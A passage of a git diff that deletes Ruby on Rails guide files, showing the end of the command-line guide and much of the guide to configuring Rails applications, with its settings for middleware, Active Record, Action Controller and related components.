tmp:create` creates tmp directories for cache, sockets and pids. - -### Miscellaneous - -* `rails stats` is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio. -* `rails secret` will give you a pseudo-random key to use for your session secret. -* `rails time:zones:all` lists all the timezones Rails knows about. - -### Custom Rake Tasks - -Custom rake tasks have a `.rake` extension and are placed in -`Rails.root/lib/tasks`. You can create these custom rake tasks with the -`bin/rails generate task` command. - -```ruby -desc "I am short, but comprehensive description for my cool task" -task task_name: [:prerequisite_task, :another_task_we_depend_on] do - # All your magic here - # Any valid Ruby code is allowed -end -``` - -To pass arguments to your custom rake task: - -```ruby -task :task_name, [:arg_1] => [:prerequisite_1, :prerequisite_2] do |task, args| - argument_1 = args.arg_1 -end -``` - -You can group tasks by placing them in namespaces: - -```ruby -namespace :db do - desc "This task does nothing" - task :nothing do - # Seriously, nothing - end -end -``` - -Invocation of the tasks will look like: - -```bash -$ bin/rails task_name -$ bin/rails "task_name[value 1]" # entire argument string should be quoted -$ bin/rails db:nothing -``` - -NOTE: If your need to interact with your application models, perform database queries and so on, your task should depend on the `environment` task, which will load your application code. - -The Rails Advanced Command Line -------------------------------- - -More advanced use of the command line is focused around finding useful (even surprising at times) options in the utilities, and fitting those to your needs and specific work flow. Listed here are some tricks up Rails' sleeve. - -### Rails with Databases and SCM - -When creating a new Rails application, you have the option to specify what kind of database and what kind of source code management system your application is going to use. This will save you a few minutes, and certainly many keystrokes. - -Let's see what a `--git` option and a `--database=postgresql` option will do for us: - -```bash -$ mkdir gitapp -$ cd gitapp -$ git init -Initialized empty Git repository in .git/ -$ rails new . --git --database=postgresql - exists - create app/controllers - create app/helpers -... -... - create tmp/cache - create tmp/pids - create Rakefile -add 'Rakefile' - create README.md -add 'README.md' - create app/controllers/application_controller.rb -add 'app/controllers/application_controller.rb' - create app/helpers/application_helper.rb -... - create log/test.log -add 'log/test.log' -``` - -We had to create the **gitapp** directory and initialize an empty git repository before Rails would add files it created to our repository. Let's see what it put in our database configuration: - -```bash -$ cat config/database.yml -# PostgreSQL. Versions 9.1 and up are supported. -# -# Install the pg driver: -# gem install pg -# On OS X with Homebrew: -# gem install pg -- --with-pg-config=/usr/local/bin/pg_config -# On OS X with MacPorts: -# gem install pg -- --with-pg-config=/opt/local/lib/postgresql84/bin/pg_config -# On Windows: -# gem install pg -# Choose the win32 build. -# Install PostgreSQL and put its /bin directory on your path. -# -# Configure Using Gemfile -# gem 'pg' -# -development: - adapter: postgresql - encoding: unicode - database: gitapp_development - pool: 5 - username: gitapp - password: -... -... -``` - -It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database. - -NOTE. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the `rails new` command to generate the basis of your app. diff --git a/source/configuring.md b/source/configuring.md deleted file mode 100644 index 3746e1a..0000000 --- a/source/configuring.md +++ /dev/null @@ -1,1317 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Configuring Rails Applications -============================== - -This guide covers the configuration and initialization features available to Rails applications. - -After reading this guide, you will know: - -* How to adjust the behavior of your Rails applications. -* How to add additional code to be run at application start time. - --------------------------------------------------------------------------------- - -Locations for Initialization Code ---------------------------------- - -Rails offers four standard spots to place initialization code: - -* `config/application.rb` -* Environment-specific configuration files -* Initializers -* After-initializers - -Running Code Before Rails -------------------------- - -In the rare event that your application needs to run some code before Rails itself is loaded, put it above the call to `require 'rails/all'` in `config/application.rb`. - -Configuring Rails Components ----------------------------- - -In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The configuration file `config/application.rb` and environment-specific configuration files (such as `config/environments/production.rb`) allow you to specify the various settings that you want to pass down to all of the components. - -For example, the `config/application.rb` file includes this setting: - -```ruby -config.time_zone = 'Central Time (US & Canada)' -``` - -This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same `config` object in `config/application.rb`: - -```ruby -config.active_record.schema_format = :ruby -``` - -Rails will use that particular setting to configure Active Record. - -### Rails General Configuration - -These configuration methods are to be called on a `Rails::Railtie` object, such as a subclass of `Rails::Engine` or `Rails::Application`. - -* `config.after_initialize` takes a block which will be run _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, engines, and all the application's initializers in `config/initializers`. Note that this block _will_ be run for rake tasks. Useful for configuring values set up by other initializers: - - ```ruby - config.after_initialize do - ActionView::Base.sanitized_allowed_tags.delete 'div' - end - ``` - -* `config.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints built-in in browsers using different domain aliases. Shorter version of `config.action_controller.asset_host`. - -* `config.autoload_once_paths` accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if `config.cache_classes` is `false`, which is the case in development mode by default. Otherwise, all autoloading happens only once. All elements of this array must also be in `autoload_paths`. Default is an empty array. - -* `config.autoload_paths` accepts an array of paths from which Rails will autoload constants. Default is all directories under `app`. - -* `config.cache_classes` controls whether or not application classes and modules should be reloaded on each request. Defaults to `false` in development mode, and `true` in test and production modes. - -* `config.action_view.cache_template_loading` controls whether or not templates should be reloaded on each request. Defaults to whatever is set for `config.cache_classes`. - -* `config.beginning_of_week` sets the default beginning of week for the -application. Accepts a valid week day symbol (e.g. `:monday`). - -* `config.cache_store` configures which cache store to use for Rails caching. Options include one of the symbols `:memory_store`, `:file_store`, `:mem_cache_store`, `:null_store`, or an object that implements the cache API. Defaults to `:file_store`. - -* `config.colorize_logging` specifies whether or not to use ANSI color codes when logging information. Defaults to `true`. - -* `config.consider_all_requests_local` is a flag. If `true` then any error will cause detailed debugging information to be dumped in the HTTP response, and the `Rails::Info` controller will show the application runtime context in `/rails/info/properties`. `true` by default in development and test environments, and `false` in production mode. For finer-grained control, set this to `false` and implement `local_request?` in controllers to specify which requests should provide debugging information on errors. - -* `config.console` allows you to set class that will be used as console you run `rails console`. It's best to run it in `console` block: - - ```ruby - console do - # this block is called only when running console, - # so we can safely require pry here - require "pry" - config.console = Pry - end - ``` - -* `config.eager_load` when `true`, eager loads all registered `config.eager_load_namespaces`. This includes your application, engines, Rails frameworks and any other registered namespace. - -* `config.eager_load_namespaces` registers namespaces that are eager loaded when `config.eager_load` is `true`. All namespaces in the list must respond to the `eager_load!` method. - -* `config.eager_load_paths` accepts an array of paths from which Rails will eager load on boot if cache classes is enabled. Defaults to every folder in the `app` directory of the application. - -* `config.enable_dependency_loading`: when true, enables autoloading, even if the application is eager loaded and `config.cache_classes` is set as true. Defaults to false. - -* `config.encoding` sets up the application-wide encoding. Defaults to UTF-8. - -* `config.exceptions_app` sets the exceptions application invoked by the ShowException middleware when an exception happens. Defaults to `ActionDispatch::PublicExceptions.new(Rails.public_path)`. - -* `config.debug_exception_response_format` sets the format used in responses when errors occur in development mode. Defaults to `:api` for API only apps and `:default` for normal apps. - -* `config.file_watcher` is the class used to detect file updates in the file system when `config.reload_classes_only_on_change` is `true`. Rails ships with `ActiveSupport::FileUpdateChecker`, the default, and `ActiveSupport::EventedFileUpdateChecker` (this one depends on the [listen](https://github.com/guard/listen) gem). Custom classes must conform to the `ActiveSupport::FileUpdateChecker` API. - -* `config.filter_parameters` used for filtering out the parameters that -you don't want shown in the logs, such as passwords or credit card -numbers. By default, Rails filters out passwords by adding `Rails.application.config.filter_parameters += [:password]` in `config/initializers/filter_parameter_logging.rb`. Parameters filter works by partial matching regular expression. - -* `config.force_ssl` forces all requests to be served over HTTPS by using the `ActionDispatch::SSL` middleware, and sets `config.action_mailer.default_url_options` to be `{ protocol: 'https' }`. This can be configured by setting `config.ssl_options` - see the [ActionDispatch::SSL documentation](http://api.rubyonrails.org/classes/ActionDispatch/SSL.html) for details. - -* `config.log_formatter` defines the formatter of the Rails logger. This option defaults to an instance of `ActiveSupport::Logger::SimpleFormatter` for all modes. If you are setting a value for `config.logger` you must manually pass the value of your formatter to your logger before it is wrapped in an `ActiveSupport::TaggedLogging` instance, Rails will not do it for you. - -* `config.log_level` defines the verbosity of the Rails logger. This option -defaults to `:debug` for all environments. The available log levels are: `:debug`, -`:info`, `:warn`, `:error`, `:fatal`, and `:unknown`. - -* `config.log_tags` accepts a list of: methods that the `request` object responds to, a `Proc` that accepts the `request` object, or something that responds to `to_s`. This makes it easy to tag log lines with debug information like subdomain and request id - both very helpful in debugging multi-user production applications. - -* `config.logger` is the logger that will be used for `Rails.logger` and any related Rails logging such as `ActiveRecord::Base.logger`. It defaults to an instance of `ActiveSupport::TaggedLogging` that wraps an instance of `ActiveSupport::Logger` which outputs a log to the `log/` directory. You can supply a custom logger, to get full compatibility you must follow these guidelines: - * To support a formatter, you must manually assign a formatter from the `config.log_formatter` value to the logger. - * To support tagged logs, the log instance must be wrapped with `ActiveSupport::TaggedLogging`. - * To support silencing, the logger must include `LoggerSilence` and `ActiveSupport::LoggerThreadSafeLevel` modules. The `ActiveSupport::Logger` class already includes these modules. - - ```ruby - class MyLogger < ::Logger - include ActiveSupport::LoggerThreadSafeLevel - include LoggerSilence - end - - mylogger = MyLogger.new(STDOUT) - mylogger.formatter = config.log_formatter - config.logger = ActiveSupport::TaggedLogging.new(mylogger) - ``` - -* `config.middleware` allows you to configure the application's middleware. This is covered in depth in the [Configuring Middleware](#configuring-middleware) section below. - -* `config.reload_classes_only_on_change` enables or disables reloading of classes only when tracked files change. By default tracks everything on autoload paths and is set to `true`. If `config.cache_classes` is `true`, this option is ignored. - -* `secrets.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `secrets.secret_key_base` initialized to a random key present in `config/secrets.yml`. - -* `config.public_file_server.enabled` configures Rails to serve static files from the public directory. This option defaults to `true`, but in the production environment it is set to `false` because the server software (e.g. NGINX or Apache) used to run the application should serve static files instead. If you are running or testing your app in production mode using WEBrick (it is not recommended to use WEBrick in production) set the option to `true.` Otherwise, you won't be able to use page caching and request for files that exist under the public directory. - -* `config.session_store` specifies what class to use to store the session. Possible values are `:cookie_store` which is the default, `:mem_cache_store`, and `:disabled`. The last one tells Rails not to deal with sessions. Defaults to a cookie store with application name as the session key. Custom session stores can also be specified: - - ```ruby - config.session_store :my_custom_store - ``` - - This custom store must be defined as `ActionDispatch::Session::MyCustomStore`. - -* `config.time_zone` sets the default time zone for the application and enables time zone awareness for Active Record. - -### Configuring Assets - -* `config.assets.enabled` a flag that controls whether the asset -pipeline is enabled. It is set to `true` by default. - -* `config.assets.raise_runtime_errors` Set this flag to `true` to enable additional runtime error checking. Recommended in `config/environments/development.rb` to minimize unexpected behavior when deploying to `production`. - -* `config.assets.css_compressor` defines the CSS compressor to use. It is set by default by `sass-rails`. The unique alternative value at the moment is `:yui`, which uses the `yui-compressor` gem. - -* `config.assets.js_compressor` defines the JavaScript compressor to use. Possible values are `:closure`, `:uglifier` and `:yui` which require the use of the `closure-compiler`, `uglifier` or `yui-compressor` gems respectively. - -* `config.assets.gzip` a flag that enables the creation of gzipped version of compiled assets, along with non-gzipped assets. Set to `true` by default. - -* `config.assets.paths` contains the paths which are used to look for assets. Appending paths to this configuration option will cause those paths to be used in the search for assets. - -* `config.assets.precompile` allows you to specify additional assets (other than `application.css` and `application.js`) which are to be precompiled when `rake assets:precompile` is run. - -* `config.assets.unknown_asset_fallback` allows you to modify the behavior of the asset pipeline when an asset is not in the pipeline, if you use sprockets-rails 3.2.0 or newer. Defaults to `true`. - -* `config.assets.prefix` defines the prefix where assets are served from. Defaults to `/assets`. - -* `config.assets.manifest` defines the full path to be used for the asset precompiler's manifest file. Defaults to a file named `manifest-.json` in the `config.assets.prefix` directory within the public folder. - -* `config.assets.digest` enables the use of SHA256 fingerprints in asset names. Set to `true` by default. - -* `config.assets.debug` disables the concatenation and compression of assets. Set to `true` by default in `development.rb`. - -* `config.assets.version` is an option string that is used in SHA256 hash generation. This can be changed to force all files to be recompiled. - -* `config.assets.compile` is a boolean that can be used to turn on live Sprockets compilation in production. - -* `config.assets.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to the same configured at `config.logger`. Setting `config.assets.logger` to `false` will turn off served assets logging. - -* `config.assets.quiet` disables logging of assets requests. Set to `true` by default in `development.rb`. - -### Configuring Generators - -Rails allows you to alter what generators are used with the `config.generators` method. This method takes a block: - -```ruby -config.generators do |g| - g.orm :active_record - g.test_framework :test_unit -end -``` - -The full set of methods that can be used in this block are as follows: - -* `assets` allows to create assets on generating a scaffold. Defaults to `true`. -* `force_plural` allows pluralized model names. Defaults to `false`. -* `helper` defines whether or not to generate helpers. Defaults to `true`. -* `integration_tool` defines which integration tool to use to generate integration tests. Defaults to `:test_unit`. -* `javascripts` turns on the hook for JavaScript files in generators. Used in Rails for when the `scaffold` generator is run. Defaults to `true`. -* `javascript_engine` configures the engine to be used (for eg. coffee) when generating assets. Defaults to `:js`. -* `orm` defines which orm to use. Defaults to `false` and will use Active Record by default. -* `resource_controller` defines which generator to use for generating a controller when using `rails generate resource`. Defaults to `:controller`. -* `resource_route` defines whether a resource route definition should be generated - or not. Defaults to `true`. -* `scaffold_controller` different from `resource_controller`, defines which generator to use for generating a _scaffolded_ controller when using `rails generate scaffold`. Defaults to `:scaffold_controller`. -* `stylesheets` turns on the hook for stylesheets in generators. Used in Rails for when the `scaffold` generator is run, but this hook can be used in other generates as well. Defaults to `true`. -* `stylesheet_engine` configures the stylesheet engine (for eg. sass) to be used when generating assets. Defaults to `:css`. -* `scaffold_stylesheet` creates `scaffold.css` when generating a scaffolded resource. Defaults to `true`. -* `test_framework` defines which test framework to use. Defaults to `false` and will use Minitest by default. -* `template_engine` defines which template engine to use, such as ERB or Haml. Defaults to `:erb`. - -### Configuring Middleware - -Every Rails application comes with a standard set of middleware which it uses in this order in the development environment: - -* `ActionDispatch::SSL` forces every request to be served using HTTPS. Enabled if `config.force_ssl` is set to `true`. Options passed to this can be configured by setting `config.ssl_options`. -* `ActionDispatch::Static` is used to serve static assets. Disabled if `config.public_file_server.enabled` is `false`. Set `config.public_file_server.index_name` if you need to serve a static directory index file that is not named `index`. For example, to serve `main.html` instead of `index.html` for directory requests, set `config.public_file_server.index_name` to `"main"`. -* `ActionDispatch::Executor` allows thread safe code reloading. Disabled if `config.allow_concurrency` is `false`, which causes `Rack::Lock` to be loaded. `Rack::Lock` wraps the app in mutex so it can only be called by a single thread at a time. -* `ActiveSupport::Cache::Strategy::LocalCache` serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread. -* `Rack::Runtime` sets an `X-Runtime` header, containing the time (in seconds) taken to execute the request. -* `Rails::Rack::Logger` notifies the logs that the request has begun. After request is complete, flushes all the logs. -* `ActionDispatch::ShowExceptions` rescues any exception returned by the application and renders nice exception pages if the request is local or if `config.consider_all_requests_local` is set to `true`. If `config.action_dispatch.show_exceptions` is set to `false`, exceptions will be raised regardless. -* `ActionDispatch::RequestId` makes a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method. -* `ActionDispatch::RemoteIp` checks for IP spoofing attacks and gets valid `client_ip` from request headers. Configurable with the `config.action_dispatch.ip_spoofing_check`, and `config.action_dispatch.trusted_proxies` options. -* `Rack::Sendfile` intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with `config.action_dispatch.x_sendfile_header`. -* `ActionDispatch::Callbacks` runs the prepare callbacks before serving the request. -* `ActionDispatch::Cookies` sets cookies for the request. -* `ActionDispatch::Session::CookieStore` is responsible for storing the session in cookies. An alternate middleware can be used for this by changing the `config.action_controller.session_store` to an alternate value. Additionally, options passed to this can be configured by using `config.action_controller.session_options`. -* `ActionDispatch::Flash` sets up the `flash` keys. Only available if `config.action_controller.session_store` is set to a value. -* `Rack::MethodOverride` allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PATCH, PUT, and DELETE HTTP method types. -* `Rack::Head` converts HEAD requests to GET requests and serves them as so. - -Besides these usual middleware, you can add your own by using the `config.middleware.use` method: - -```ruby -config.middleware.use Magical::Unicorns -``` - -This will put the `Magical::Unicorns` middleware on the end of the stack. You can use `insert_before` if you wish to add a middleware before another. - -```ruby -config.middleware.insert_before Rack::Head, Magical::Unicorns -``` - -Or you can insert a middleware to exact position by using indexes. For example, if you want to insert `Magical::Unicorns` middleware on top of the stack, you can do it, like so: - -```ruby -config.middleware.insert_before 0, Magical::Unicorns -``` - -There's also `insert_after` which will insert a middleware after another: - -```ruby -config.middleware.insert_after Rack::Head, Magical::Unicorns -``` - -Middlewares can also be completely swapped out and replaced with others: - -```ruby -config.middleware.swap ActionController::Failsafe, Lifo::Failsafe -``` - -They can also be removed from the stack completely: - -```ruby -config.middleware.delete Rack::MethodOverride -``` - -### Configuring i18n - -All these configuration options are delegated to the `I18n` library. - -* `config.i18n.available_locales` whitelists the available locales for the app. Defaults to all locale keys found in locale files, usually only `:en` on a new application. - -* `config.i18n.default_locale` sets the default locale of an application used for i18n. Defaults to `:en`. - -* `config.i18n.enforce_available_locales` ensures that all locales passed through i18n must be declared in the `available_locales` list, raising an `I18n::InvalidLocale` exception when setting an unavailable locale. Defaults to `true`. It is recommended not to disable this option unless strongly required, since this works as a security measure against setting any invalid locale from user input. - -* `config.i18n.load_path` sets the path Rails uses to look for locale files. Defaults to `config/locales/*.{yml,rb}`. - -* `config.i18n.fallbacks` sets fallback behavior for missing translations. Here are 3 usage examples for this option: - - * You can set the option to `true` for using default locale as fallback, like so: - - ```ruby - config.i18n.fallbacks = true - ``` - - * Or you can set an array of locales as fallback, like so: - - ```ruby - config.i18n.fallbacks = [:tr, :en] - ``` - - * Or you can set different fallbacks for locales individually. For example, if you want to use `:tr` for `:az` and `:de`, `:en` for `:da` as fallbacks, you can do it, like so: - - ```ruby - config.i18n.fallbacks = { az: :tr, da: [:de, :en] } - #or - config.i18n.fallbacks.map = { az: :tr, da: [:de, :en] } - ``` - -### Configuring Active Record - -`config.active_record` includes a variety of configuration options: - -* `config.active_record.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling `logger` on either an Active Record model class or an Active Record model instance. Set to `nil` to disable logging. - -* `config.active_record.primary_key_prefix_type` lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named `id` (and this configuration option doesn't need to be set.) There are two other choices: - * `:table_name` would make the primary key for the Customer class `customerid`. - * `:table_name_with_underscore` would make the primary key for the Customer class `customer_id`. - -* `config.active_record.table_name_prefix` lets you set a global string to be prepended to table names. If you set this to `northwest_`, then the Customer class will look for `northwest_customers` as its table. The default is an empty string. - -* `config.active_record.table_name_suffix` lets you set a global string to be appended to table names. If you set this to `_northwest`, then the Customer class will look for `customers_northwest` as its table. The default is an empty string. - -* `config.active_record.schema_migrations_table_name` lets you set a string to be used as the name of the schema migrations table. - -* `config.active_record.pluralize_table_names` specifies whether Rails will look for singular or plural table names in the database. If set to `true` (the default), then the Customer class will use the `customers` table. If set to false, then the Customer class will use the `customer` table. - -* `config.active_record.default_timezone` determines whether to use `Time.local` (if set to `:local`) or `Time.utc` (if set to `:utc`) when pulling dates and times from the database. The default is `:utc`. - -* `config.active_record.schema_format` controls the format for dumping the database schema to a file. The options are `:ruby` (the default) for a database-independent version that depends on migrations, or `:sql` for a set of (potentially database-dependent) SQL statements. - -* `config.active_record.error_on_ignored_order` specifies if an error should be raised if the order of a query is ignored during a batch query. The options are `true` (raise error) or `false` (warn). Default is `false`. - -* `config.active_record.timestamped_migrations` controls whether migrations are numbered with serial integers or with timestamps. The default is `true`, to use timestamps, which are preferred if there are multiple developers working on the same application. - -* `config.active_record.lock_optimistically` controls whether Active Record will use optimistic locking and is `true` by default. - -* `config.active_record.cache_timestamp_format` controls the format of the timestamp value in the cache key. Default is `:nsec`. - -* `config.active_record.record_timestamps` is a boolean value which controls whether or not timestamping of `create` and `update` operations on a model occur. The default value is `true`. - -* `config.active_record.partial_writes` is a boolean value and controls whether or not partial writes are used (i.e. whether updates only set attributes that are dirty). Note that when using partial writes, you should also use optimistic locking `config.active_record.lock_optimistically` since concurrent updates may write attributes based on a possibly stale read state. The default value is `true`. - -* `config.active_record.maintain_test_schema` is a boolean value which controls whether Active Record should try to keep your test database schema up-to-date with `db/schema.rb` (or `db/structure.sql`) when you run your tests. The default is `true`. - -* `config.active_record.dump_schema_after_migration` is a flag which - controls whether or not schema dump should happen (`db/schema.rb` or - `db/structure.sql`) when you run migrations. This is set to `false` in - `config/environments/production.rb` which is generated by Rails. The - default value is `true` if this configuration is not set. - -* `config.active_record.dump_schemas` controls which database schemas will be dumped when calling `db:structure:dump`. - The options are `:schema_search_path` (the default) which dumps any schemas listed in `schema_search_path`, - `:all` which always dumps all schemas regardless of the `schema_search_path`, - or a string of comma separated schemas. - -* `config.active_record.belongs_to_required_by_default` is a boolean value and - controls whether a record fails validation if `belongs_to` association is not - present. - -* `config.active_record.warn_on_records_fetched_greater_than` allows setting a - warning threshold for query result size. If the number of records returned - by a query exceeds the threshold, a warning is logged. This can be used to - identify queries which might be causing a memory bloat. - -* `config.active_record.index_nested_attribute_errors` allows errors for nested - `has_many` relationships to be displayed with an index as well as the error. - Defaults to `false`. - -* `config.active_record.use_schema_cache_dump` enables users to get schema cache information - from `db/schema_cache.yml` (generated by `bin/rails db:schema:cache:dump`), instead of - having to send a query to the database to get this information. - Defaults to `true`. - -The MySQL adapter adds one additional configuration option: - -* `ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans` controls whether Active Record will consider all `tinyint(1)` columns as booleans. Defaults to `true`. - -The schema dumper adds one additional configuration option: - -* `ActiveRecord::SchemaDumper.ignore_tables` accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless `config.active_record.schema_format == :ruby`. - -### Configuring Action Controller - -`config.action_controller` includes a number of configuration settings: - -* `config.action_controller.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets rather than the application server itself. - -* `config.action_controller.perform_caching` configures whether the application should perform the caching features provided by the Action Controller component or not. Set to `false` in development mode, `true` in production. - -* `config.action_controller.default_static_extension` configures the extension used for cached pages. Defaults to `.html`. - -* `config.action_controller.include_all_helpers` configures whether all view helpers are available everywhere or are scoped to the corresponding controller. If set to `false`, `UsersHelper` methods are only available for views rendered as part of `UsersController`. If `true`, `UsersHelper` methods are available everywhere. The default configuration behavior (when this option is not explicitly set to `true` or `false`) is that all view helpers are available to each controller. - -* `config.action_controller.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Controller. Set to `nil` to disable logging. - -* `config.action_controller.request_forgery_protection_token` sets the token parameter name for RequestForgery. Calling `protect_from_forgery` sets it to `:authenticity_token` by default. - -* `config.action_controller.allow_forgery_protection` enables or disables CSRF protection. By default this is `false` in test mode and `true` in all other modes. - -* `config.action_controller.forgery_protection_origin_check` configures whether the HTTP `Origin` header should be checked against the site's origin as an additional CSRF defense. - -* `config.action_controller.per_form_csrf_tokens` configures whether CSRF tokens are only valid for the method/action they were generated for. - -* `config.action_controller.relative_url_root` can be used to tell Rails that you are [deploying to a subdirectory](configuring.html#deploy-to-a-subdirectory-relative-url-root). The default is `ENV['RAILS_RELATIVE_URL_ROOT']`. - -* `config.action_controller.permit_all_parameters` sets all the parameters for mass assignment to be permitted by default. The default value is `false`. - -* `config.action_controller.action_on_unpermitted_parameters` enables logging or raising an exception if parameters that are not explicitly permitted are found. Set to `:log` or `:raise` to enable. The default value is `:log` in development and test environments, and `false` in all other environments. - -* `config.action_controller.always_permitted_parameters` sets a list of whitelisted parameters that are permitted by default. The default values are `['controller', 'action']`. - -* `config.action_controller.enable_fragment_cache_logging` determines whether to log fragment cache reads and writes in verbose format as follows: - - ``` - Read fragment views/v1/2914079/v1/2914079/recordings/70182313-20160225015037000000/d0bdf2974e1ef6d31685c3b392ad0b74 (0.6ms) - Rendered messages/_message.html.erb in 1.2 ms [cache hit] - Write fragment views/v1/2914079/v1/2914079/recordings/70182313-20160225015037000000/3b4e249ac9d168c617e32e84b99218b5 (1.1ms) - Rendered recordings/threads/_thread.html.erb in 1.5 ms [cache miss] - ``` - - By default it is set to `false` which results in following output: - - ``` - Rendered messages/_message.html.erb in 1.2 ms [cache hit] - Rendered recordings/threads/_thread.html.erb in 1.5 ms [cache miss] - ``` - -### Configuring Action Dispatch - -* `config.action_dispatch.session_store` sets the name of the store for session data. The default is `:cookie_store`; other valid options include `:active_record_store`, `:mem_cache_store` or the name of your own custom class. - -* `config.action_dispatch.default_headers` is a hash with HTTP headers that are set by default in each response. By default, this is defined as: - - ```ruby - config.action_dispatch.default_headers = { - 'X-Frame-Options' => 'SAMEORIGIN', - 'X-XSS-Protection' => '1; mode=block', - 'X-Content-Type-Options' => 'nosniff' - } - ``` - -* `config.action_dispatch.default_charset` specifies the default character set for all renders. Defaults to `nil`. - -* `config.action_dispatch.tld_length` sets the TLD (top-level domain) length for the application. Defaults to `1`. - -* `config.action_dispatch.ignore_accept_header` is used to determine whether to ignore accept headers from a request. Defaults to `false`. - -* `config.action_dispatch.x_sendfile_header` specifies server specific X-Sendfile header. This is useful for accelerated file sending from server. For example it can be set to 'X-Sendfile' for Apache. - -* `config.action_dispatch.http_auth_salt` sets the HTTP Auth salt value. Defaults -to `'http authentication'`. - -* `config.action_dispatch.signed_cookie_salt` sets the signed cookies salt value. -Defaults to `'signed cookie'`. - -* `config.action_dispatch.encrypted_cookie_salt` sets the encrypted cookies salt -value. Defaults to `'encrypted cookie'`. - -* `config.action_dispatch.encrypted_signed_cookie_salt` sets the signed -encrypted cookies salt value. Defaults to `'signed encrypted cookie'`. - -* `config.action_dispatch.perform_deep_munge` configures whether `deep_munge` - method should be performed on the parameters. See [Security Guide](security.html#unsafe-query-generation) - for more information. It defaults to `true`. - -* `config.action_dispatch.rescue_responses` configures what exceptions are assigned to an HTTP status. It accepts a hash and you can specify pairs of exception/status. By default, this is defined as: - - ```ruby - config.action_dispatch.rescue_responses = { - 'ActionController::RoutingError' => :not_found, - 'AbstractController::ActionNotFound' => :not_found, - 'ActionController::MethodNotAllowed' => :method_not_allowed, - 'ActionController::UnknownHttpMethod' => :method_not_allowed, - 'ActionController::NotImplemented' => :not_implemented, - 'ActionController::UnknownFormat' => :not_acceptable, - 'ActionController::InvalidAuthenticityToken' => :unprocessable_entity, - 'ActionController::InvalidCrossOriginRequest' => :unprocessable_entity, - 'ActionDispatch::Http::Parameters::ParseError' => :bad_request, - 'ActionController::BadRequest' => :bad_request, - 'ActionController::ParameterMissing' => :bad_request, - 'Rack::QueryParser::ParameterTypeError' => :bad_request, - 'Rack::QueryParser::InvalidParameterError' => :bad_request, - 'ActiveRecord::RecordNotFound' => :not_found, - 'ActiveRecord::StaleObjectError' => :conflict, - 'ActiveRecord::RecordInvalid' => :unprocessable_entity, - 'ActiveRecord::RecordNotSaved' => :unprocessable_entity - } - ``` - - Any exceptions that are not configured will be mapped to 500 Internal Server Error. - -* `ActionDispatch::Callbacks.before` takes a block of code to run before the request. - -* `ActionDispatch::Callbacks.to_prepare` takes a block to run after `ActionDispatch::Callbacks.before`, but before the request. Runs for every request in `development` mode, but only once for `production` or environments with `cache_classes` set to `true`. - -* `ActionDispatch::Callbacks.after` takes a block of code to run after the request. - -### Configuring Action View - -`config.action_view` includes a small number of configuration settings: - -* `config.action_view.field_error_proc` provides an HTML generator for displaying errors that come from Active Model. The default is - - ```ruby - Proc.new do |html_tag, instance| - %Q(
#{html_tag}
).html_safe - end - ``` - -* `config.action_view.default_form_builder` tells Rails which form builder to - use by default. The default is `ActionView::Helpers::FormBuilder`. If you - want your form builder class to be loaded after initialization (so it's - reloaded on each request in development), you can pass it as a `String`. - -* `config.action_view.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action View. Set to `nil` to disable logging. - -* `config.action_view.erb_trim_mode` gives the trim mode to be used by ERB. It defaults to `'-'`, which turns on trimming of tail spaces and newline when using `<%= -%>` or `<%= =%>`. See the [Erubis documentation](http://www.kuwata-lab.com/erubis/users-guide.06.html#topics-trimspaces) for more information. - -* `config.action_view.embed_authenticity_token_in_remote_forms` allows you to - set the default behavior for `authenticity_token` in forms with `remote: - true`. By default it's set to `false`, which means that remote forms will not - include `authenticity_token`, which is helpful when you're fragment-caching - the form. Remote forms get the authenticity from the `meta` tag, so embedding - is unnecessary unless you support browsers without JavaScript. In such case - you can either pass `authenticity_token: true` as a form option or set this - config setting to `true`. - -* `config.action_view.prefix_partial_path_with_controller_namespace` determines whether or not partials are looked up from a subdirectory in templates rendered from namespaced controllers. For example, consider a controller named `Admin::ArticlesController` which renders this template: - - ```erb - <%= render @article %> - ``` - - The default setting is `true`, which uses the partial at `/admin/articles/_article.erb`. Setting the value to `false` would render `/articles/_article.erb`, which is the same behavior as rendering from a non-namespaced controller such as `ArticlesController`. - -* `config.action_view.raise_on_missing_translations` determines whether an - error should be raised for missing translations. - -* `config.action_view.automatically_disable_submit_tag` determines whether - submit_tag should automatically disable on click, this defaults to `true`. - -* `config.action_view.debug_missing_translation` determines whether to wrap the missing translations key in a `` tag or not. This defaults to `true`. - -* `config.action_view.form_with_generates_remote_forms` determines whether `form_with` generates remote forms or not. This defaults to `true`. - -### Configuring Action Mailer - -There are a number of settings available on `config.action_mailer`: - -* `config.action_mailer.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to `nil` to disable logging. - -* `config.action_mailer.smtp_settings` allows detailed configuration for the `:smtp` delivery method. It accepts a hash of options, which can include any of these options: - * `:address` - Allows you to use a remote mail server. Just change it from its default "localhost" setting. - * `:port` - On the off chance that your mail server doesn't run on port 25, you can change it. - * `:domain` - If you need to specify a HELO domain, you can do it here. - * `:user_name` - If your mail server requires authentication, set the username in this setting. - * `:password` - If your mail server requires 